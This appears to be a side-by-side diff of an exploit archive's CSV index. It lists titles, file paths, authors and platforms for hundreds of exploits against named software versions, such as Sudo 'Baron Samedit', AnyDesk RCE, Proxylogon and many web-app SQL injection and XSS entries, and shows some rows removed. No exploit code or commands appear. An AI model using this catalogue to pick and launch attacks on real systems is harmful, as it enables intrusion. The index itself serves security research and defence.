3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",1970-01-01,"Wojciech Purczynski",local,linux,
|
||||||
4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",1970-01-01,Andi,local,solaris,
|
4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",1970-01-01,Andi,local,solaris,
|
||||||
|
|
@ -11274,11 +11255,6 @@ id,file,description,date,author,type,platform,port
|
||||||
49409,exploits/windows/local/49409.py,"PortableKanban 4.3.6578.38136 - Encrypted Password Retrieval",1970-01-01,rootabeta,local,windows,
|
49409,exploits/windows/local/49409.py,"PortableKanban 4.3.6578.38136 - Encrypted Password Retrieval",1970-01-01,rootabeta,local,windows,
|
||||||
49453,exploits/windows/local/49453.txt,"Selea CarPlateServer (CPS) 4.0.1.6 - Local Privilege Escalation",1970-01-01,LiquidWorm,local,windows,
|
49453,exploits/windows/local/49453.txt,"Selea CarPlateServer (CPS) 4.0.1.6 - Local Privilege Escalation",1970-01-01,LiquidWorm,local,windows,
|
||||||
49491,exploits/multiple/local/49491.py,"Metasploit Framework 6.0.11 - msfvenom APK template command injection",1970-01-01,"Justin Steven",local,multiple,
|
49491,exploits/multiple/local/49491.py,"Metasploit Framework 6.0.11 - msfvenom APK template command injection",1970-01-01,"Justin Steven",local,multiple,
|
||||||
49514,exploits/solaris/local/49514.c,"Solaris 10 1/13 (Intel) - 'dtprintinfo' Local Privilege Escalation (2)",1970-01-01,"Marco Ivaldi",local,solaris,
|
|
||||||
49515,exploits/solaris/local/49515.c,"Solaris 10 1/13 (Intel) - 'dtprintinfo' Local Privilege Escalation (3)",1970-01-01,"Marco Ivaldi",local,solaris,
|
|
||||||
49516,exploits/solaris/local/49516.c,"Solaris 10 1/13 (SPARC) - 'dtprintinfo' Local Privilege Escalation (1)",1970-01-01,"Marco Ivaldi",local,solaris,
|
|
||||||
49517,exploits/solaris/local/49517.c,"Solaris 10 1/13 (SPARC) - 'dtprintinfo' Local Privilege Escalation (2)",1970-01-01,"Marco Ivaldi",local,solaris,
|
|
||||||
49518,exploits/solaris/local/49518.c,"Solaris 10 1/13 (SPARC) - 'dtprintinfo' Local Privilege Escalation (3)",1970-01-01,"Marco Ivaldi",local,solaris,
|
|
||||||
49521,exploits/multiple/local/49521.py,"Sudo 1.9.5p1 - 'Baron Samedit ' Heap-Based Buffer Overflow Privilege Escalation (1)",1970-01-01,"West Shepherd",local,multiple,
|
49521,exploits/multiple/local/49521.py,"Sudo 1.9.5p1 - 'Baron Samedit ' Heap-Based Buffer Overflow Privilege Escalation (1)",1970-01-01,"West Shepherd",local,multiple,
|
||||||
49522,exploits/multiple/local/49522.c,"Sudo 1.9.5p1 - 'Baron Samedit ' Heap-Based Buffer Overflow Privilege Escalation (2)",1970-01-01,nu11secur1ty,local,multiple,
|
49522,exploits/multiple/local/49522.c,"Sudo 1.9.5p1 - 'Baron Samedit ' Heap-Based Buffer Overflow Privilege Escalation (2)",1970-01-01,nu11secur1ty,local,multiple,
|
||||||
49526,exploits/multiple/local/49526.txt,"SmartFoxServer 2X 2.17.0 - God Mode Console Remote Code Execution",1970-01-01,LiquidWorm,local,multiple,
|
49526,exploits/multiple/local/49526.txt,"SmartFoxServer 2X 2.17.0 - God Mode Console Remote Code Execution",1970-01-01,LiquidWorm,local,multiple,
|
||||||
|
|
@ -11319,7 +11295,6 @@ id,file,description,date,author,type,platform,port
|
||||||
49704,exploits/windows/local/49704.txt,"Elodea Event Collector 4.9.3 - 'ElodeaEventCollectorService' Unquoted Service Path",1970-01-01,"Alan Mondragon",local,windows,
|
49704,exploits/windows/local/49704.txt,"Elodea Event Collector 4.9.3 - 'ElodeaEventCollectorService' Unquoted Service Path",1970-01-01,"Alan Mondragon",local,windows,
|
||||||
49706,exploits/windows/local/49706.txt,"Ext2Fsd v0.68 - 'Ext2Srv' Unquoted Service Path",1970-01-01,"Mohammed Alshehri",local,windows,
|
49706,exploits/windows/local/49706.txt,"Ext2Fsd v0.68 - 'Ext2Srv' Unquoted Service Path",1970-01-01,"Mohammed Alshehri",local,windows,
|
||||||
49739,exploits/windows/local/49739.txt,"Rockstar Service - Insecure File Permissions",1970-01-01,"George Tsimpidas",local,windows,
|
49739,exploits/windows/local/49739.txt,"Rockstar Service - Insecure File Permissions",1970-01-01,"George Tsimpidas",local,windows,
|
||||||
49765,exploits/linux/local/49765.txt,"MariaDB 10.2 /MySQL - 'wsrep_provider' OS Command Execution",1970-01-01,"Central InfoSec",local,linux,
|
|
||||||
49841,exploits/windows/local/49841.txt,"Epic Games Easy Anti-Cheat 4.0 - Local Privilege Escalation",1970-01-01,LiquidWorm,local,windows,
|
49841,exploits/windows/local/49841.txt,"Epic Games Easy Anti-Cheat 4.0 - Local Privilege Escalation",1970-01-01,LiquidWorm,local,windows,
|
||||||
49842,exploits/windows/local/49842.txt,"Sandboxie Plus 0.7.4 - 'SbieSvc' Unquoted Service Path",1970-01-01,"Erick Galindo",local,windows,
|
49842,exploits/windows/local/49842.txt,"Sandboxie Plus 0.7.4 - 'SbieSvc' Unquoted Service Path",1970-01-01,"Erick Galindo",local,windows,
|
||||||
49845,exploits/windows/local/49845.txt,"WifiHotSpot 1.0.0.0 - 'WifiHotSpotService.exe' Unquoted Service Path",1970-01-01,"Erick Galindo",local,windows,
|
49845,exploits/windows/local/49845.txt,"WifiHotSpot 1.0.0.0 - 'WifiHotSpotService.exe' Unquoted Service Path",1970-01-01,"Erick Galindo",local,windows,
|
||||||
|
|
@ -11330,20 +11305,16 @@ id,file,description,date,author,type,platform,port
|
||||||
49857,exploits/windows/local/49857.txt,"Odoo 12.0.20190101 - 'nssm.exe' Unquoted Service Path",1970-01-01,1F98D,local,windows,
|
49857,exploits/windows/local/49857.txt,"Odoo 12.0.20190101 - 'nssm.exe' Unquoted Service Path",1970-01-01,1F98D,local,windows,
|
||||||
49864,exploits/windows_x86-64/local/49864.js,"Firefox 72 IonMonkey - JIT Type Confusion",1970-01-01,"Forrest Orr",local,windows_x86-64,
|
49864,exploits/windows_x86-64/local/49864.js,"Firefox 72 IonMonkey - JIT Type Confusion",1970-01-01,"Forrest Orr",local,windows_x86-64,
|
||||||
49872,exploits/windows/local/49872.js,"Microsoft Internet Explorer 8 - 'SetMouseCapture ' Use After Free",1970-01-01,SlidingWindow,local,windows,
|
49872,exploits/windows/local/49872.js,"Microsoft Internet Explorer 8 - 'SetMouseCapture ' Use After Free",1970-01-01,SlidingWindow,local,windows,
|
||||||
49882,exploits/windows/local/49882.ps1,"Visual Studio Code 1.47.1 - Denial of Service (PoC)",1970-01-01,"H.H.A.Ravindu Priyankara",local,windows,
|
|
||||||
49888,exploits/windows/local/49888.txt,"ASUS HID Access Service 1.0.94.0 - 'AsHidSrv.exe' Unquoted Service Path",1970-01-01,"Alejandra Sánchez",local,windows,
|
49888,exploits/windows/local/49888.txt,"ASUS HID Access Service 1.0.94.0 - 'AsHidSrv.exe' Unquoted Service Path",1970-01-01,"Alejandra Sánchez",local,windows,
|
||||||
49889,exploits/windows/local/49889.txt,"Backup Manager Module 3.0.0.99 - 'IScheduleSvc.exe' Unquoted Service Path",1970-01-01,"Emmanuel Lujan",local,windows,
|
49889,exploits/windows/local/49889.txt,"Backup Manager Module 3.0.0.99 - 'IScheduleSvc.exe' Unquoted Service Path",1970-01-01,"Emmanuel Lujan",local,windows,
|
||||||
49890,exploits/windows/local/49890.txt,"Acer Updater Service 1.2.3500.0 - 'UpdaterService.exe' Unquoted Service Path",1970-01-01,"Emmanuel Lujan",local,windows,
|
49890,exploits/windows/local/49890.txt,"Acer Updater Service 1.2.3500.0 - 'UpdaterService.exe' Unquoted Service Path",1970-01-01,"Emmanuel Lujan",local,windows,
|
||||||
49892,exploits/windows/local/49892.py,"Mozilla Firefox 88.0.1 - File Extension Execution of Arbitrary Code",1970-01-01,"BestEffort Team",local,windows,
|
49892,exploits/windows/local/49892.py,"Mozilla Firefox 88.0.1 - File Extension Execution of Arbitrary Code",1970-01-01,"BestEffort Team",local,windows,
|
||||||
49893,exploits/windows/local/49893.c++,"DELL dbutil_2_3.sys 2.3 - Arbitrary Write to Local Privilege Escalation (LPE)",1970-01-01,"Paolo Stagno",local,windows,
|
|
||||||
49899,exploits/windows/local/49899.txt,"DiskBoss Service 12.2.18 - 'diskbsa.exe' Unquoted Service Path",1970-01-01,"Erick Galindo",local,windows,
|
49899,exploits/windows/local/49899.txt,"DiskBoss Service 12.2.18 - 'diskbsa.exe' Unquoted Service Path",1970-01-01,"Erick Galindo",local,windows,
|
||||||
49900,exploits/windows/local/49900.txt,"ePowerSvc 6.0.3008.0 - 'ePowerSvc.exe' Unquoted Service Path",1970-01-01,"Emmanuel Lujan",local,windows,
|
49900,exploits/windows/local/49900.txt,"ePowerSvc 6.0.3008.0 - 'ePowerSvc.exe' Unquoted Service Path",1970-01-01,"Emmanuel Lujan",local,windows,
|
||||||
49925,exploits/windows/local/49925.txt,"Veyon 4.4.1 - 'VeyonService' Unquoted Service Path",1970-01-01,"Víctor García",local,windows,
|
49925,exploits/windows/local/49925.txt,"Veyon 4.4.1 - 'VeyonService' Unquoted Service Path",1970-01-01,"Víctor García",local,windows,
|
||||||
49929,exploits/windows/local/49929.txt,"Intel(R) Audio Service x64 01.00.1080.0 - 'IntelAudioService' Unquoted Service Path",1970-01-01,"Geovanni Ruiz",local,windows,
|
49929,exploits/windows/local/49929.txt,"Intel(R) Audio Service x64 01.00.1080.0 - 'IntelAudioService' Unquoted Service Path",1970-01-01,"Geovanni Ruiz",local,windows,
|
||||||
50061,exploits/windows/local/50061.txt,"SAPSprint 7.60 - 'SAPSprint' Unquoted Service Path",1970-01-01,"Brian Rodriguez",local,windows,
|
50061,exploits/windows/local/50061.txt,"SAPSprint 7.60 - 'SAPSprint' Unquoted Service Path",1970-01-01,"Brian Rodriguez",local,windows,
|
||||||
49959,exploits/windows/local/49959.py,"IcoFX 2.6 - '.ico' Buffer Overflow SEH + DEP Bypass using JOP",1970-01-01,"Austin Babcock",local,windows,
|
49959,exploits/windows/local/49959.py,"IcoFX 2.6 - '.ico' Buffer Overflow SEH + DEP Bypass using JOP",1970-01-01,"Austin Babcock",local,windows,
|
||||||
49966,exploits/windows/local/49966.py,"Backup Key Recovery 2.2.7 - Denial of Service (PoC)",1970-01-01,"Erick Galindo",local,windows,
|
|
||||||
49977,exploits/ios/local/49977.py,"memono Notepad Version 4.2 - Denial of Service (PoC)",1970-01-01,"Geovanni Ruiz",local,ios,
|
|
||||||
49997,exploits/windows/local/49997.txt,"Spy Emergency 25.0.650 - 'Multiple' Unquoted Service Path",1970-01-01,"Erick Galindo",local,windows,
|
49997,exploits/windows/local/49997.txt,"Spy Emergency 25.0.650 - 'Multiple' Unquoted Service Path",1970-01-01,"Erick Galindo",local,windows,
|
||||||
49999,exploits/windows/local/49999.txt,"WibuKey Runtime 6.51 - 'WkSvW32.exe' Unquoted Service Path",1970-01-01,"Brian Rodriguez",local,windows,
|
49999,exploits/windows/local/49999.txt,"WibuKey Runtime 6.51 - 'WkSvW32.exe' Unquoted Service Path",1970-01-01,"Brian Rodriguez",local,windows,
|
||||||
50004,exploits/windows/local/50004.txt,"Tftpd64 4.64 - 'Tftpd32_svc' Unquoted Service Path",1970-01-01,"Brian Rodriguez",local,windows,
|
50004,exploits/windows/local/50004.txt,"Tftpd64 4.64 - 'Tftpd32_svc' Unquoted Service Path",1970-01-01,"Brian Rodriguez",local,windows,
|
||||||
|
|
@ -18497,7 +18468,6 @@ id,file,description,date,author,type,platform,port
|
||||||
49613,exploits/linux/remote/49613.py,"AnyDesk 5.5.2 - Remote Code Execution",1970-01-01,scryh,remote,linux,
|
49613,exploits/linux/remote/49613.py,"AnyDesk 5.5.2 - Remote Code Execution",1970-01-01,scryh,remote,linux,
|
||||||
49621,exploits/java/remote/49621.java,"CatDV 9.2 - RMI Authentication Bypass",1970-01-01,"Christopher Ellis",remote,java,
|
49621,exploits/java/remote/49621.java,"CatDV 9.2 - RMI Authentication Bypass",1970-01-01,"Christopher Ellis",remote,java,
|
||||||
49629,exploits/windows/remote/49629.py,"Golden FTP Server 4.70 - 'PASS' Buffer Overflow (2)",1970-01-01,1F98D,remote,windows,
|
49629,exploits/windows/remote/49629.py,"Golden FTP Server 4.70 - 'PASS' Buffer Overflow (2)",1970-01-01,1F98D,remote,windows,
|
||||||
49663,exploits/windows/remote/49663.py,"Microsoft Exchange 2019 - SSRF to Arbitrary File Write (Proxylogon)",1970-01-01,F5,remote,windows,
|
|
||||||
49745,exploits/multiple/remote/49745.js,"Google Chrome 86.0.4240 V8 - Remote Code Execution",1970-01-01,r4j0x00,remote,multiple,
|
49745,exploits/multiple/remote/49745.js,"Google Chrome 86.0.4240 V8 - Remote Code Execution",1970-01-01,r4j0x00,remote,multiple,
|
||||||
49746,exploits/multiple/remote/49746.js,"Google Chrome 81.0.4044 V8 - Remote Code Execution",1970-01-01,r4j0x00,remote,multiple,
|
49746,exploits/multiple/remote/49746.js,"Google Chrome 81.0.4044 V8 - Remote Code Execution",1970-01-01,r4j0x00,remote,multiple,
|
||||||
49754,exploits/linux/remote/49754.c,"Linux Kernel 5.4 - 'BleedingTooth' Bluetooth Zero-Click Remote Code Execution",1970-01-01,"Google Security Research",remote,linux,
|
49754,exploits/linux/remote/49754.c,"Linux Kernel 5.4 - 'BleedingTooth' Bluetooth Zero-Click Remote Code Execution",1970-01-01,"Google Security Research",remote,linux,
|
||||||
|
|
@ -18506,7 +18476,6 @@ id,file,description,date,author,type,platform,port
|
||||||
49896,exploits/solaris/remote/49896.py,"Solaris SunSSH 11.0 x86 - libpam Remote Root (2)",1970-01-01,legend,remote,solaris,
|
49896,exploits/solaris/remote/49896.py,"Solaris SunSSH 11.0 x86 - libpam Remote Root (2)",1970-01-01,legend,remote,solaris,
|
||||||
49908,exploits/linux/remote/49908.py,"ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution (2)",1970-01-01,Shellbr3ak,remote,linux,
|
49908,exploits/linux/remote/49908.py,"ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution (2)",1970-01-01,Shellbr3ak,remote,linux,
|
||||||
49936,exploits/hardware/remote/49936.py,"CHIYU IoT Devices - 'Telnet' Authentication Bypass",1970-01-01,sirpedrotavares,remote,hardware,
|
49936,exploits/hardware/remote/49936.py,"CHIYU IoT Devices - 'Telnet' Authentication Bypass",1970-01-01,sirpedrotavares,remote,hardware,
|
||||||
50034,exploits/hardware/remote/50034.txt,"Dlink DSL2750U - 'Reboot' Command Injection",1970-01-01,"Mohammed Hadi",remote,hardware,
|
|
||||||
50039,exploits/solaris/remote/50039.py,"Solaris SunSSH 11.0 x86 - libpam Remote Root (3)",1970-01-01,"Nathaniel Singer",remote,solaris,
|
50039,exploits/solaris/remote/50039.py,"Solaris SunSSH 11.0 x86 - libpam Remote Root (3)",1970-01-01,"Nathaniel Singer",remote,solaris,
|
||||||
50070,exploits/android/remote/50070.py,"ES File Explorer 4.1.9.7.4 - Arbitrary File Read",1970-01-01,"Nehal Zaman",remote,android,
|
50070,exploits/android/remote/50070.py,"ES File Explorer 4.1.9.7.4 - Arbitrary File Read",1970-01-01,"Nehal Zaman",remote,android,
|
||||||
50133,exploits/hardware/remote/50133.py,"Aruba Instant 8.7.1.0 - Arbitrary File Modification",1970-01-01,Gr33nh4t,remote,hardware,
|
50133,exploits/hardware/remote/50133.py,"Aruba Instant 8.7.1.0 - Arbitrary File Modification",1970-01-01,Gr33nh4t,remote,hardware,
|
||||||
|
|
@ -26057,8 +26026,6 @@ id,file,description,date,author,type,platform,port
|
||||||
49445,exploits/php/webapps/49445.py,"Voting System 1.0 - File Upload RCE (Authenticated Remote Code Execution)",1970-01-01,"Richard Jones",webapps,php,
|
49445,exploits/php/webapps/49445.py,"Voting System 1.0 - File Upload RCE (Authenticated Remote Code Execution)",1970-01-01,"Richard Jones",webapps,php,
|
||||||
49447,exploits/php/webapps/49447.txt,"Online Documents Sharing Platform 1.0 - 'user' SQL Injection",1970-01-01,"CANKAT ÇAKMAK",webapps,php,
|
49447,exploits/php/webapps/49447.txt,"Online Documents Sharing Platform 1.0 - 'user' SQL Injection",1970-01-01,"CANKAT ÇAKMAK",webapps,php,
|
||||||
49433,exploits/php/webapps/49433.txt,"Alumni Management System 1.0 - _Last Name field in Registration page_ Stored XSS",1970-01-01,"Siva Rajendran",webapps,php,
|
49433,exploits/php/webapps/49433.txt,"Alumni Management System 1.0 - _Last Name field in Registration page_ Stored XSS",1970-01-01,"Siva Rajendran",webapps,php,
|
||||||
49434,exploits/php/webapps/49434.py,"E-Learning System 1.0 - Authentication Bypass & RCE POC",1970-01-01,"Himanshu Shukla",webapps,php,
|
|
||||||
49435,exploits/multiple/webapps/49435.rb,"Netsia SEBA+ 0.16.1 - Authentication Bypass and Add Root User (Metasploit)",1970-01-01,AkkuS,webapps,multiple,
|
|
||||||
40091,exploits/php/webapps/40091.rb,"Tiki Wiki 15.1 - File Upload (Metasploit)",1970-01-01,"Mehmet Ince",webapps,php,80
|
40091,exploits/php/webapps/40091.rb,"Tiki Wiki 15.1 - File Upload (Metasploit)",1970-01-01,"Mehmet Ince",webapps,php,80
|
||||||
30170,exploits/php/webapps/30170.txt,"Beehive Forum 0.7.1 - 'links.php' Multiple Cross-Site Scripting Vulnerabilities",1970-01-01,"Ory Segal",webapps,php,
|
30170,exploits/php/webapps/30170.txt,"Beehive Forum 0.7.1 - 'links.php' Multiple Cross-Site Scripting Vulnerabilities",1970-01-01,"Ory Segal",webapps,php,
|
||||||
18593,exploits/php/webapps/18593.txt,"ModX 2.2.0 - Multiple Vulnerabilities",1970-01-01,n0tch,webapps,php,
|
18593,exploits/php/webapps/18593.txt,"ModX 2.2.0 - Multiple Vulnerabilities",1970-01-01,n0tch,webapps,php,
|
||||||
|
|
@ -42603,7 +42570,6 @@ id,file,description,date,author,type,platform,port
|
||||||
46852,exploits/php/webapps/46852.txt,"DeepSound 1.0.4 - SQL Injection",1970-01-01,"Mehmet EMIROGLU",webapps,php,80
|
46852,exploits/php/webapps/46852.txt,"DeepSound 1.0.4 - SQL Injection",1970-01-01,"Mehmet EMIROGLU",webapps,php,80
|
||||||
46864,exploits/php/webapps/46864.txt,"Interspire Email Marketer 6.20 - 'surveys_submit.php' Remote Code Execution",1970-01-01,"numan türle",webapps,php,
|
46864,exploits/php/webapps/46864.txt,"Interspire Email Marketer 6.20 - 'surveys_submit.php' Remote Code Execution",1970-01-01,"numan türle",webapps,php,
|
||||||
46869,exploits/php/webapps/46869.py,"eLabFTW 1.8.5 - Arbitrary File Upload / Remote Code Execution",1970-01-01,liquidsky,webapps,php,
|
46869,exploits/php/webapps/46869.py,"eLabFTW 1.8.5 - Arbitrary File Upload / Remote Code Execution",1970-01-01,liquidsky,webapps,php,
|
||||||
50030,exploits/php/webapps/50030.txt,"ICE Hrm 29.0.0.OS - 'Account Takeover' Cross-Site Scripting and Session Fixation",1970-01-01,"Piyush Patil",webapps,php,
|
|
||||||
46881,exploits/php/webapps/46881.txt,"Moodle Jmol Filter 6.1 - Directory Traversal / Cross-Site Scripting",1970-01-01,"Dionach Ltd",webapps,php,
|
46881,exploits/php/webapps/46881.txt,"Moodle Jmol Filter 6.1 - Directory Traversal / Cross-Site Scripting",1970-01-01,"Dionach Ltd",webapps,php,
|
||||||
46882,exploits/hardware/webapps/46882.txt,"TP-LINK TL-WR840N v5 00000005 - Cross-Site Scripting",1970-01-01,"purnendu ghosh",webapps,hardware,
|
46882,exploits/hardware/webapps/46882.txt,"TP-LINK TL-WR840N v5 00000005 - Cross-Site Scripting",1970-01-01,"purnendu ghosh",webapps,hardware,
|
||||||
46885,exploits/java/webapps/46885.txt,"Oracle CTI Web Service - 'EBS_ASSET_HISTORY_OPERATIONS' XML Entity Injection",1970-01-01,omurugur,webapps,java,
|
46885,exploits/java/webapps/46885.txt,"Oracle CTI Web Service - 'EBS_ASSET_HISTORY_OPERATIONS' XML Entity Injection",1970-01-01,omurugur,webapps,java,
|
||||||
|
|
@ -43729,7 +43695,6 @@ id,file,description,date,author,type,platform,port
|
||||||
49308,exploits/hardware/webapps/49308.js,"Sony Playstation 4 (PS4) < 6.72 - 'ValidationMessage::buildBubbleTree()' Use-After-Free WebKit Code Execution (PoC)",1970-01-01,Synacktiv,webapps,hardware,
|
49308,exploits/hardware/webapps/49308.js,"Sony Playstation 4 (PS4) < 6.72 - 'ValidationMessage::buildBubbleTree()' Use-After-Free WebKit Code Execution (PoC)",1970-01-01,Synacktiv,webapps,hardware,
|
||||||
49309,exploits/hardware/webapps/49309.js,"Sony Playstation 4 (PS4) < 7.02 - 'ValidationMessage::buildBubbleTree()' Use-After-Free WebKit Code Execution (PoC)",1970-01-01,ChendoChap,webapps,hardware,
|
49309,exploits/hardware/webapps/49309.js,"Sony Playstation 4 (PS4) < 7.02 - 'ValidationMessage::buildBubbleTree()' Use-After-Free WebKit Code Execution (PoC)",1970-01-01,ChendoChap,webapps,hardware,
|
||||||
49310,exploits/php/webapps/49310.txt,"Victor CMS 1.0 - File Upload To RCE",1970-01-01,Mosaaed,webapps,php,
|
49310,exploits/php/webapps/49310.txt,"Victor CMS 1.0 - File Upload To RCE",1970-01-01,Mosaaed,webapps,php,
|
||||||
49726,exploits/php/webapps/49726.py,"GetSimple CMS 3.3.16 - Reflected XSS to RCE",1970-01-01,boku,webapps,php,
|
|
||||||
49312,exploits/php/webapps/49312.txt,"Pandora FMS 7.0 NG 750 - 'Network Scan' SQL Injection (Authenticated)",1970-01-01,"Matthew Aberegg",webapps,php,
|
49312,exploits/php/webapps/49312.txt,"Pandora FMS 7.0 NG 750 - 'Network Scan' SQL Injection (Authenticated)",1970-01-01,"Matthew Aberegg",webapps,php,
|
||||||
49314,exploits/php/webapps/49314.txt,"CSE Bookstore 1.0 - Multiple SQL Injection",1970-01-01,"Musyoka Ian",webapps,php,
|
49314,exploits/php/webapps/49314.txt,"CSE Bookstore 1.0 - Multiple SQL Injection",1970-01-01,"Musyoka Ian",webapps,php,
|
||||||
49315,exploits/php/webapps/49315.txt,"Library Management System 3.0 - _Add Category_ Stored XSS",1970-01-01,"Kislay Kumar",webapps,php,
|
49315,exploits/php/webapps/49315.txt,"Library Management System 3.0 - _Add Category_ Stored XSS",1970-01-01,"Kislay Kumar",webapps,php,
|
||||||
|
|
@ -43760,8 +43725,6 @@ id,file,description,date,author,type,platform,port
|
||||||
49346,exploits/php/webapps/49346.txt,"Subrion CMS 4.2.1 - 'avatar[path]' XSS",1970-01-01,icekam,webapps,php,
|
49346,exploits/php/webapps/49346.txt,"Subrion CMS 4.2.1 - 'avatar[path]' XSS",1970-01-01,icekam,webapps,php,
|
||||||
49347,exploits/multiple/webapps/49347.txt,"Click2Magic 1.1.5 - Stored Cross-Site Scripting",1970-01-01,"Shivam Verma",webapps,multiple,
|
49347,exploits/multiple/webapps/49347.txt,"Click2Magic 1.1.5 - Stored Cross-Site Scripting",1970-01-01,"Shivam Verma",webapps,multiple,
|
||||||
49351,exploits/multiple/webapps/49351.html,"IncomCMS 2.0 - Insecure File Upload",1970-01-01,MoeAlBarbari,webapps,multiple,
|
49351,exploits/multiple/webapps/49351.html,"IncomCMS 2.0 - Insecure File Upload",1970-01-01,MoeAlBarbari,webapps,multiple,
|
||||||
49352,exploits/php/webapps/49352.txt,"House Rental and Property Listing 1.0 - Multiple Stored XSS",1970-01-01,"Mohamed habib Smidi",webapps,php,
|
|
||||||
49353,exploits/php/webapps/49353.txt,"Resumes Management and Job Application Website 1.0 - Authentication Bypass (Sql Injection)",1970-01-01,"Kshitiz Raj",webapps,php,
|
|
||||||
49354,exploits/php/webapps/49354.txt,"WordPress Plugin Stripe Payments 2.0.39 - 'AcceptStripePayments-settings[currency_code]' Stored XSS",1970-01-01,"Park Won Seok",webapps,php,
|
49354,exploits/php/webapps/49354.txt,"WordPress Plugin Stripe Payments 2.0.39 - 'AcceptStripePayments-settings[currency_code]' Stored XSS",1970-01-01,"Park Won Seok",webapps,php,
|
||||||
49355,exploits/php/webapps/49355.txt,"WordPress Plugin WP-Paginate 2.1.3 - 'preset' Stored XSS",1970-01-01,"Park Won Seok",webapps,php,
|
49355,exploits/php/webapps/49355.txt,"WordPress Plugin WP-Paginate 2.1.3 - 'preset' Stored XSS",1970-01-01,"Park Won Seok",webapps,php,
|
||||||
49356,exploits/php/webapps/49356.txt,"Online Movie Streaming 1.0 - Authentication Bypass",1970-01-01,"Kshitiz Raj",webapps,php,
|
49356,exploits/php/webapps/49356.txt,"Online Movie Streaming 1.0 - Authentication Bypass",1970-01-01,"Kshitiz Raj",webapps,php,
|
||||||
|
|
@ -43774,7 +43737,6 @@ id,file,description,date,author,type,platform,port
|
||||||
49364,exploits/php/webapps/49364.txt,"CSZ CMS 1.2.9 - Multiple Cross-Site Scripting",1970-01-01,SunCSR,webapps,php,
|
49364,exploits/php/webapps/49364.txt,"CSZ CMS 1.2.9 - Multiple Cross-Site Scripting",1970-01-01,SunCSR,webapps,php,
|
||||||
49365,exploits/php/webapps/49365.py,"Online Learning Management System 1.0 - RCE (Authenticated)",1970-01-01,"Bedri Sertkaya",webapps,php,
|
49365,exploits/php/webapps/49365.py,"Online Learning Management System 1.0 - RCE (Authenticated)",1970-01-01,"Bedri Sertkaya",webapps,php,
|
||||||
49366,exploits/php/webapps/49366.py,"Klog Server 2.4.1 - Command Injection (Unauthenticated)",1970-01-01,B3KC4T,webapps,php,
|
49366,exploits/php/webapps/49366.py,"Klog Server 2.4.1 - Command Injection (Unauthenticated)",1970-01-01,B3KC4T,webapps,php,
|
||||||
49367,exploits/multiple/webapps/49367.txt,"EgavilanMedia User Registration & Login System with Admin Panel 1.0 - Multiple Stored Cross-Site Scripting",1970-01-01,"Mesut Cetin",webapps,multiple,
|
|
||||||
49369,exploits/php/webapps/49369.txt,"Advanced Webhost Billing System 3.7.0 - Cross-Site Request Forgery (CSRF)",1970-01-01,"Rahul Ramakant Singh",webapps,php,
|
49369,exploits/php/webapps/49369.txt,"Advanced Webhost Billing System 3.7.0 - Cross-Site Request Forgery (CSRF)",1970-01-01,"Rahul Ramakant Singh",webapps,php,
|
||||||
49372,exploits/multiple/webapps/49372.txt,"IPeakCMS 3.5 - Boolean-based blind SQLi",1970-01-01,MoeAlBarbari,webapps,multiple,
|
49372,exploits/multiple/webapps/49372.txt,"IPeakCMS 3.5 - Boolean-based blind SQLi",1970-01-01,MoeAlBarbari,webapps,multiple,
|
||||||
49373,exploits/php/webapps/49373.txt,"Expense Tracker 1.0 - 'Expense Name' Stored Cross-Site Scripting",1970-01-01,"Shivam Verma",webapps,php,
|
49373,exploits/php/webapps/49373.txt,"Expense Tracker 1.0 - 'Expense Name' Stored Cross-Site Scripting",1970-01-01,"Shivam Verma",webapps,php,
|
||||||
|
|
@ -43814,7 +43776,6 @@ id,file,description,date,author,type,platform,port
|
||||||
49422,exploits/php/webapps/49422.py,"Nagios XI 5.7.X - Remote Code Execution RCE (Authenticated)",1970-01-01,"Haboob Team",webapps,php,
|
49422,exploits/php/webapps/49422.py,"Nagios XI 5.7.X - Remote Code Execution RCE (Authenticated)",1970-01-01,"Haboob Team",webapps,php,
|
||||||
49423,exploits/php/webapps/49423.txt,"Online Shopping Cart System 1.0 - 'id' SQL Injection",1970-01-01,"Aydın Baran Ertemir",webapps,php,
|
49423,exploits/php/webapps/49423.txt,"Online Shopping Cart System 1.0 - 'id' SQL Injection",1970-01-01,"Aydın Baran Ertemir",webapps,php,
|
||||||
49424,exploits/php/webapps/49424.py,"Laravel 8.4.2 debug mode - Remote code execution",1970-01-01,"SunCSR Team",webapps,php,
|
49424,exploits/php/webapps/49424.py,"Laravel 8.4.2 debug mode - Remote code execution",1970-01-01,"SunCSR Team",webapps,php,
|
||||||
49425,exploits/hardware/webapps/49425.py,"Cisco RV110W 1.2.1.7 - 'vpn_account' Denial of Service (PoC)",1970-01-01,"Shizhi He",webapps,hardware,
|
|
||||||
49426,exploits/php/webapps/49426.html,"PHP-Fusion CMS 9.03.90 - Cross-Site Request Forgery (Delete admin shoutbox message)",1970-01-01,"Mohamed Oosman",webapps,php,
|
49426,exploits/php/webapps/49426.html,"PHP-Fusion CMS 9.03.90 - Cross-Site Request Forgery (Delete admin shoutbox message)",1970-01-01,"Mohamed Oosman",webapps,php,
|
||||||
49427,exploits/php/webapps/49427.txt,"WordPress Plugin Easy Contact Form 1.1.7 - 'Name' Stored Cross-Site Scripting (XSS)",1970-01-01,"Rahul Ramakant Singh",webapps,php,
|
49427,exploits/php/webapps/49427.txt,"WordPress Plugin Easy Contact Form 1.1.7 - 'Name' Stored Cross-Site Scripting (XSS)",1970-01-01,"Rahul Ramakant Singh",webapps,php,
|
||||||
49428,exploits/php/webapps/49428.txt,"Online Hotel Reservation System 1.0 - 'description' Stored Cross-site Scripting",1970-01-01,"Mesut Cetin",webapps,php,
|
49428,exploits/php/webapps/49428.txt,"Online Hotel Reservation System 1.0 - 'description' Stored Cross-site Scripting",1970-01-01,"Mesut Cetin",webapps,php,
|
||||||
|
|
@ -43824,7 +43785,6 @@ id,file,description,date,author,type,platform,port
|
||||||
49432,exploits/multiple/webapps/49432.sh,"EyesOfNetwork 5.3 - File Upload Remote Code Execution",1970-01-01,"Audencia Business SCHOOL Red Team",webapps,multiple,
|
49432,exploits/multiple/webapps/49432.sh,"EyesOfNetwork 5.3 - File Upload Remote Code Execution",1970-01-01,"Audencia Business SCHOOL Red Team",webapps,multiple,
|
||||||
49436,exploits/hardware/webapps/49436.py,"Cisco UCS Manager 2.2(1d) - Remote Command Execution",1970-01-01,liquidsky,webapps,hardware,
